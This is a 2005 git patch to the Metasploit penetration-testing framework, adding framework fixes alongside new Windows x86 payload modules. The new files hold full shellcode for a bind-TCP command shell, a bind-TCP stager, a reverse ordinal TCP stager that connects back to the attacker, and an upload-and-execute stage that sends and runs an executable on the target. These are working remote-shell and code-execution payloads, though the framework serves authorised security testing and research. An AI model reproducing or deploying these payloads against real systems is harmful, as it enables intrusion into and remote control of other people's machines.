From 203f185ad72e673dcdf971ad04773aace71399da Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Mon, 18 Jul 2005 23:32:34 +0000 Subject: [PATCH] rockin 32 windows payloads, fixed some bugs, other cool shit, OptInt, what what what git-svn-id: file:///home/svn/incoming/trunk@2796 4d416f70-5f16-0410-b530-b9f4589650da --- documentation/TODO | 20 +++++ lib/msf/core/handler.rb | 7 ++ lib/msf/core/handler/bind_tcp.rb | 7 +- lib/msf/core/option_container.rb | 16 ++++ lib/msf/core/payload/stager.rb | 19 +++++ lib/msf/core/payload_set.rb | 13 ++- lib/msf/core/session/basic.rb | 8 -- lib/msf/core/session/interactive.rb | 11 ++- lib/rex/parser/arguments.rb | 3 +- .../ui/console/command_dispatcher.rb | 4 + .../ui/console/command_dispatcher/core.rb | 2 +- .../console/command_dispatcher/stdapi/fs.rb | 63 ++++++++++++++- lib/rex/socket/tcp.rb | 5 +- .../singles/windows/shell_bind_tcp.rb | 66 +++++++++++++++ .../singles/windows/shell_reverse_tcp.rb | 2 +- modules/payloads/stagers/windows/bind_tcp.rb | 54 +++++++++++++ .../stagers/windows/reverse_ord_tcp.rb | 47 +++++++++++ modules/payloads/stages/windows/dllinject.rb | 6 +- .../payloads/stages/windows/meterpreter.rb | 2 +- modules/payloads/stages/windows/upexec.rb | 80 +++++++++++++++++++ 20 files changed, 408 insertions(+), 27 deletions(-) create mode 100644 modules/payloads/singles/windows/shell_bind_tcp.rb create mode 100644 modules/payloads/stagers/windows/bind_tcp.rb create mode 100644 modules/payloads/stagers/windows/reverse_ord_tcp.rb create mode 100644 modules/payloads/stages/windows/upexec.rb diff --git a/documentation/TODO b/documentation/TODO index 2d8f77dafe..4d01751a6e 100644 --- a/documentation/TODO +++ b/documentation/TODO @@ -15,7 +15,11 @@ X - handler cleanup X - stop handler X - cleanup handler +- + - add the concept of services to framework: + - instead, just make it a singleton, doesn't belong on framework + - add port forward service # first parameter is class that must inherit from Rex::Proto so that it has .alias service = framework.services.start(Rex::Proto::HTTP::Server, 'Port' => 80, 'Host' => '127.0.0.1') @@ -28,3 +32,19 @@ service.create_resource("/uri", Proc.new { |conn, request| service.remove_resource("/uri") service.shutdown ^- reference counted, only terminates when reference count drops to zero + +- exploit mixins + - Http + - Http::Client + connect + create_request + send_request + handler + - Http::Server + handle_request(req) + create_response + send_response +- findsock payloads + - findsock handler +- meterpreter + - more ui wrapping diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index d02867f23f..e7bc99ceb3 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -45,6 +45,13 @@ module Handler return "none" end + # + # Returns the handler's name, if any. + # + def handler_name + module_info['HandlerName'] + end + # # Initializes the session waiter event and other fun stuff. # diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index abd81e92f3..39747a19e1 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -26,7 +26,6 @@ module BindTcp register_options( [ - Opt::RHOST, Opt::LPORT(4444) ], Msf::Handler::BindTcp) @@ -59,6 +58,12 @@ module BindTcp print_status("Started bind handler") + if (datastore['RHOST'] == nil) + raise ArgumentError, + "RHOST is not defined; bind stager cannot function.", + caller + end + # Keep trying to connect callcc { |ctx| while true diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 7f8f37bfaf..47a7d09f4e 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -62,6 +62,7 @@ end # OptPort - TCP/UDP service port # OptAddress - IP address or hostname # OptPath - Path name on disk +# OptInt - An integer value # ### @@ -150,6 +151,21 @@ class OptPath < OptBase end end +class OptPort < OptBase + def type + return 'integer' + end + + def valid?(value) + if (value.to_s.match(/^\d+$/) == nil) + return false + end + + return super + end +end + + ### # # OptionContainer diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 3158eedd8e..86f6609845 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -48,12 +48,26 @@ module Msf::Payload::Stager def handle_connection(conn) p = stage_payload.dup + # Substitute variables in the stage substitute_vars(p, stage_offsets) if (stage_offsets) + # Prefix to the stage with whatever may be required and then rock it. + p = (stage_prefix || '') + p + print_status("Sending stage (#{p.length} bytes)") + # Send the stage conn.put(p) + # If the stage implements the handle connection method, sleep before + # handling it. + if (derived_implementor?(Msf::Payload::Stager, 'handle_connection_stage')) + print_status("Sleeping before handling stage...") + + # Sleep before processing the stage + Rex::ThreadSafe.sleep(1.5) + end + # Give the stages a chance to handle the connection handle_connection_stage(conn) end @@ -71,4 +85,9 @@ module Msf::Payload::Stager alias stager_payload payload alias stager_offsets offsets + # + # A value that should be prefixed to a stage, such as a tag. + # + attr_accessor :stage_prefix + end diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 6e9d86021a..265ede45d2 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -123,17 +123,26 @@ class PayloadSet < ModuleSet # and stage p = build_payload(handler, stager_mod, stage_mod) + # If the stager has an alias for the handler type (such as is the + # case for ordinal based stagers), use it in preference of the + # handler's actual type. + if (stager_mod.respond_to?('handler_type_alias') == true) + handler_type = stager_mod.handler_type_alias + else + handler_type = handler.handler_type + end + # Associate the name as a combination of the stager and stage combined = stage_name # If a valid handler exists for this stager, then combine it - combined += '/' + handler.handler_type + combined += '/' + handler_type # Sets the modules derived name p.refname = combined # Add the stage - add_stage(p, combined, stage_name, handler.handler_type) + add_stage(p, combined, stage_name, handler_type) # Cache the payload's size sizes[combined] = p.new.size diff --git a/lib/msf/core/session/basic.rb b/lib/msf/core/session/basic.rb index bcc492102d..a19dcd12be 100644 --- a/lib/msf/core/session/basic.rb +++ b/lib/msf/core/session/basic.rb @@ -15,14 +15,6 @@ module Basic include Session include Interactive - # - # Returns that, yes, indeed, this session supports going interactive with - # the user. - # - def interactive? - true - end - # # Description of the session # diff --git a/lib/msf/core/session/interactive.rb b/lib/msf/core/session/interactive.rb index 2a5af15b80..204dd64f21 100644 --- a/lib/msf/core/session/interactive.rb +++ b/lib/msf/core/session/interactive.rb @@ -128,7 +128,7 @@ protected # Checks to see if the user wants to abort # def user_want_abort? - prompt_yesno("Abort session #{name}? [y/N] ") + prompt_yesno("Abort session #{name}?") end # @@ -138,7 +138,7 @@ protected if (orig_suspend == nil) self.orig_suspend = Signal.trap("TSTP") { # Ask the user if they would like to background the session - if (prompt_yesno("Background session #{name}? [y/N] ") == true) + if (prompt_yesno("Background session #{name}?") == true) self.interacting = false end } @@ -157,6 +157,9 @@ protected end end + # + # Prompt the user for input if possible. + # def prompt(query) if (user_output and user_input) user_output.print("\n" + query) @@ -165,10 +168,10 @@ protected end # - # Check the return value of the prompt + # Check the return value of a yes/no prompt # def prompt_yesno(query) - (prompt(query) =~ /^y/i) ? true : false + (prompt(query + " [y/N] ") =~ /^y/i) ? true : false end end diff --git a/lib/rex/parser/arguments.rb b/lib/rex/parser/arguments.rb index ad0f653c26..3f03305acf 100644 --- a/lib/rex/parser/arguments.rb +++ b/lib/rex/parser/arguments.rb @@ -60,10 +60,9 @@ class Arguments if (val[0]) param = args[idx+1] + skip_next = true end - skip_next = true - yield fmtspec, idx, param } else diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb index 01305d2dac..713e27a6ac 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb @@ -28,6 +28,10 @@ module Console::CommandDispatcher # def log_error(msg) print_error(msg) + + elog(msg, 'meterpreter') + + dlog("Call stack:\n#{$@.join("\n")}", 'meterpreter') end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 64dabdb77f..55ce5ebec8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -102,7 +102,7 @@ class Console::CommandDispatcher::Core add_extension_client(md) end rescue - log_error("\nfailure: #{$!}\n#{$@.join("\n")}") + log_error("\nfailure: #{$!}") next end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index a4749e4c23..df7c43f823 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -24,6 +24,11 @@ class Console::CommandDispatcher::Stdapi::Fs # @@download_opts = Rex::Parser::Arguments.new( "-r" => [ false, "Download recursively." ]) + # + # Options for the upload command + # + @@upload_opts = Rex::Parser::Arguments.new( + "-r" => [ false, "Upload recursively." ]) # # List of supported commands @@ -67,7 +72,7 @@ class Console::CommandDispatcher::Stdapi::Fs # machine. # def cmd_download(*args) - if (args.length == 0) + if (args.length < 2) print( "Usage: download [options] src1 src2 src3 ... destination\n\n" + "Downloads remote files and directories to the local machine.\n" + @@ -198,6 +203,62 @@ class Console::CommandDispatcher::Stdapi::Fs return true end + # + # Uploads a file or directory to the remote machine from the local + # machine. + # + def cmd_download(*args) + if (args.length < 2) + print( + "Usage: upload [options] src1 src2 src3 ... destination\n\n" + + "Uploads local files and directories to the remote machine.\n" + + @@upload_opts.usage) + return true + end + + recursive = false + src_items = [] + last = nil + dest = nil + + @@upload_opts.parse(args) { |opt, idx, val| + case opt + when "-r" + recursive = true + when nil + if (last) + src_items << last + end + + last = val + end + } + + dest = last + + # If there is no destination, assume it's the same as the source. + if (!dest) + dest = src_items[0] + end + + # Go through each source item and upload them + src_items.each { |src| + stat = client.fs.file.stat(src) + + if (stat.directory?) + client.fs.dir.upload(dest, src, recursive) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + } + elsif (stat.file?) + client.fs.file.upload(dest, src) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + } + end + } + + return true + end + end end diff --git a/lib/rex/socket/tcp.rb b/lib/rex/socket/tcp.rb index ed8cdf4945..92f3554467 100644 --- a/lib/rex/socket/tcp.rb +++ b/lib/rex/socket/tcp.rb @@ -67,7 +67,10 @@ class Rex::Socket::Tcp < Rex::Socket # Calls shutdown on the TCP connection. # def shutdown(how = SHUT_RDWR) - return (sock.shutdown(how) == 0) + begin + return (sock.shutdown(how) == 0) + rescue Errno::ENOTCONN + end end # diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb new file mode 100644 index 0000000000..625466b4eb --- /dev/null +++ b/modules/payloads/singles/windows/shell_bind_tcp.rb @@ -0,0 +1,66 @@ +require 'msf/core' +require 'msf/core/handler/bind_tcp' + +module Msf +module Payloads +module Singles +module Windows + +module ShellBindTcp + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Bind TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'vlad902', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 162, 'n' ], + 'EXITFUNC' => [ 308, 'V' ], + }, + 'Payload' => + "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c" + + "\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" + + "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" + + "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" + + "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" + + "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" + + "\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" + + "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" + + "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53" + + "\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" + + "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66" + + "\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" + + "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53" + + "\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1" + + "\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" + + "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" + + "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50" + + "\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57" + + "\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d" + + "\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" + + "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93" + + "\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff" + + "\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01" + + "\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" + + "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" + + "\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73" + + "\x53\xff\xd6\xff\xd0" + + } + )) + end + +end + +end end end end diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index fd198083f2..7638aad242 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -6,7 +6,7 @@ module Payloads module Singles module Windows -module Shell +module ShellReverseTcp include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb new file mode 100644 index 0000000000..5f8c935092 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -0,0 +1,54 @@ +require 'msf/core' +require 'msf/core/handler/bind_tcp' + +module Msf +module Payloads +module Stagers +module Windows + +module BindTcp + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Listen for a connection', + 'Author' => 'hdm', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => + { + 'Offsets' => + { + 'LPORT' => [ 235, 'n' ], + }, + 'Payload' => + "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" + + "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32" + + "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07" + + "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24" + + "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8" + + "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64" + + "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e" + + "\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53" + + "\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4" + + "\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xd9" + + "\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d" + + "\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59\x51" + + "\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54" + + "\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff" + + "\x55\x2c\x89\xc7\x31\xdb\x53\x53\x68\x02\x00\x22\x11\x89\xe0\x6a" + + "\x10\x50\x57\xff\x55\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff\x55" + + "\x20\x89\xc7\x81\xec\x00\x10\x00\x00\x89\xe3\x6a\x00\x68\x00\x10" + + "\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00\x00\xff\xd3" + } + )) + end + +end + +end end end end diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb new file mode 100644 index 0000000000..5f3b2b63a2 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb @@ -0,0 +1,47 @@ +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + +module Msf +module Payloads +module Stagers +module Windows + +module ReverseOrdinalTcp + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def self.handler_type_alias + "reverse_ord_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Ordinal TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Connect back to the attacker', + 'Author' => 'hdm', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ 68, 'ADDR' ], + 'LPORT' => [ 75, 'n' ], + }, + 'Payload' => + "\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" + + "\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x75\xef\x8b\x6a" + + "\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c\x0d\x1c\x01\xe9\x8b\x41" + + "\x58\x01\xe8\x8b\x71\x3c\x01\xee\x03\x69\x0c\x53\x6a\x01\x6a\x02" + + "\xff\xd0\x97\x68\x7f\x00\x00\x01\x68\x02\x00\x22\x11\x89\xe1\x53" + + "\xb7\x0c\x53\x51\x57\x51\x6a\x10\x51\x57\x56\xff\xe5" + } + )) + end + +end + +end end end end diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 56bf6398ec..e06b1c44b7 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -18,7 +18,7 @@ module DllInject include Msf::Payload::Windows def initialize(info = {}) - super(merge_info(info, + super(update_info(info, 'Name' => 'Windows Inject DLL', 'Version' => '$Revision$', 'Description' => 'Inject a custom DLL into the exploited process', @@ -223,10 +223,6 @@ module DllInject return end - # Give the stage a second or so, just so it doesn't try - # to read in the DLL as part of the stage... - Rex::ThreadSafe.sleep(1.5) - print_status("Uploading DLL (#{data.length} bytes)...") # Send the size of the thing we're transferring diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index b6f66dca3b..f3650e74ce 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -35,7 +35,7 @@ module Meterpreter [ true, "The local path to the DLL to upload", - Msf::Config.install_root + "#{sep}data#{sep}meterpreter#{sep}metsrv.dll" + File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") ]), ], Meterpreter) diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb new file mode 100644 index 0000000000..817e7e5816 --- /dev/null +++ b/modules/payloads/stages/windows/upexec.rb @@ -0,0 +1,80 @@ +require 'msf/core' + +module Msf +module Payloads +module Stages +module Windows + +module UploadExec + + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Upload/Execute', + 'Version' => '$Revision$', + 'Description' => 'Uploads an executable and runs it', + 'Author' => 'hdm', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Session' => Msf::Session::Basic, + 'Stage' => + { + 'Offsets' => + { + 'EXITFUNC' => [ 258, 'V' ] + }, + 'Payload' => + "\xff\x75\x00\x68\xa5\x17\x00\x7c\xff\x55\x04\x89\x45\x64\xff\x75" + + "\x00\x68\x1f\x79\x0a\xe8\xff\x55\x04\x89\x45\x68\xff\x75\x00\x68" + + "\xfb\x97\xfd\x0f\xff\x55\x04\x89\x45\x6c\x8d\x45\x78\x6a\x00\x6a" + + "\x04\x50\x57\xff\x55\x18\x8b\x45\x78\xe8\x12\x00\x00\x00\x43\x3a" + + "\x5c\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x65\x78\x65\x00" + + "\x59\x89\x4d\x70\x6a\x00\x6a\x06\x6a\x04\x6a\x00\x6a\x07\x68\x00" + + "\x00\x00\xe0\x51\xff\x55\x64\x89\xc3\x81\xec\x58\xff\xff\xff\x89" + + "\x65\x74\x8b\x45\x74\x6a\x00\x6a\x20\x50\x57\xff\x55\x18\x8b\x4d" + + "\x78\x29\xc1\x89\x4d\x78\x54\x89\xe1\x6a\x00\x51\x50\xff\x75\x74" + + "\x53\xff\x55\x68\x59\x8b\x45\x78\x85\xc0\x75\xd6\x53\xff\x55\x6c" + + "\x87\xfa\x31\xc0\x8d\x7c\x24\xac\x6a\x15\x59\xf3\xab\x87\xfa\x83" + + "\xec\x54\xc6\x44\x24\x10\x44\x66\xc7\x44\x24\x3c\x01\x01\x89\x7c" + + "\x24\x48\x89\x7c\x24\x4c\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50" + + "\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x70\x51\xff\x75\x00\x68" + + "\x72\xfe\xb3\x16\xff\x55\x04\xff\xd0\x89\xe6\xff\x75\x00\x68\xad" + + "\xd9\x05\xce\xff\x55\x04\x89\xc3\x6a\xff\xff\x36\xff\xd3\xff\x75" + + "\x00\x68\x7e\xd8\xe2\x73\xff\x55\x04\x31\xdb\x53\xff\xd0" + } + )) + + register_options( + [ + OptPath.new('PEXEC', [ true, "Full path to the file to upload and execute" ]) + ], UploadExec) + end + + # + # Uploads and executes the file + # + def handle_connection_stage(conn) + begin + data = ::IO.readlines(datastore['PEXEC']) + rescue + print_error("Failed to read executable: #{$!}") + + # TODO: exception + conn.close + return + end + + print_status("Uploading executable (#{data.length} bytes)...") + + conn.put([ data.length ].pack('V')) + conn.put(data) + + print_status("Executing uploaded file...") + + super + end + +end + +end end end end